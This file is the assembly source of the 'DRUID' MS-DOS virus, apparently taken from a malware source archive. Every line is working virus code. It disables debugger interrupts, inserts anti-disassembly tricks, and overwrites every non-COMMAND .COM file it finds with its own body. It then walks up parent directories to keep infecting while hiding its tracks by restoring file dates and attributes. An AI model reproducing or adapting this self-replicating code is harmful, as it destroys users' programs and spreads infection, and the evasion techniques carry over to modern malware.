MalwareSourceCode/MSDOS/D-Index/Virus.MSDOS.Unknown.druid.asm

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NASM
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2022-08-21 09:07:57 +00:00
fname equ 9eh ; pointer to filename in DTA
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
druid proc far
vstart equ $
start:
mov ax,2EBh ; used to baffle sourcer...
jmp $-2 ;
mov dx,offset newint ; set int1 to newint
mov ax,2501h
int 21h
mov al,3 ; set int3 to newint
int 21h
mov dx,offset newint ; do it again...
mov ax,2501h
int 21h
mov al,1
int 21h
mov ah,47h ; get current directory
xor dl,dl ; and save it
lea si,currdir
int 21h
again:
lea dx,fmask
mov ah,4Eh ; Find first *.COM
getfile:
int 21h
jnc found_ok ;if ok, goto found_ok
jmp short bailout ;if no more files, goto bail out
nop
found_ok:
mov si,fname ; load filename into ax
lodsw
cmp ax,'OC' ; if first 3 letters is "CO"
; as in "COMMAND.COM"
jne infect ; if not, go on
jmp getnext ; else, get another file
mov ax,2EBh ; used to baffle sourcer...
jmp $-2
infect:
mov dx,fname ; get attribute
mov ax,4300h ; of the file found
int 21h
push cx ; and save it
xor cx,cx ; reset attributes
mov ax,4301h
int 21h
mov ax,2EBh ; used to baffle sourcer...
jmp $-2
mov dx,fname ; open file
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jc getnext ; if error, skip to loc_5
xchg ax,bx ; get handle in bx
mov ax,5700h ; get time'n date
int 21h
push dx ; save'em
push cx
mov ah,40h ; write virus to target
mov cx,virlen ; number of bytes to write
mov dx,fname ; pointer to file
int 21h
pop cx ; restore the date'n time
pop dx
mov ax,5701h
int 21h
mov ah,3Eh ; close target
int 21h
pop cx ; restore the attributes
mov ax,4301h
mov dx,fname
int 21h
getnext:
mov ah,4Fh ; get next file matching *.COM
jmp short getfile
bailout:
mov ax,2EBh ; used to baffle sourcer...
jmp $-2
lea dx,dot_dot ; "cd.."
mov ah,3Bh
int 21h
jc exit ; if error, goto exit
jmp short again ; do it all over again
exit:
mov ax,2EBh ; used to baffle sourcer...
jmp $-2
mov ah,3Bh ; change back to
lea dx,return_dir ; original directory
int 21h
mov ax,4C00h ; quit to dos with
int 21h ; errorlevel 0
id db ' DRUID, coded by Morbid Angel/Line Noise -92 in Stockholm/Sweden'
druid endp
newint proc far ; replaces INT1 and INT3
iret ; with this.
newint endp
fmask db '*.COM',0
dot_dot db '..',0
return_dir db '\' ; the slash is used when
currdir dw 32 dup (?) ; returning to old dir.
vend equ $
virlen equ vend - vstart
seg_a ends
end start
2021-01-12 23:41:47 +00:00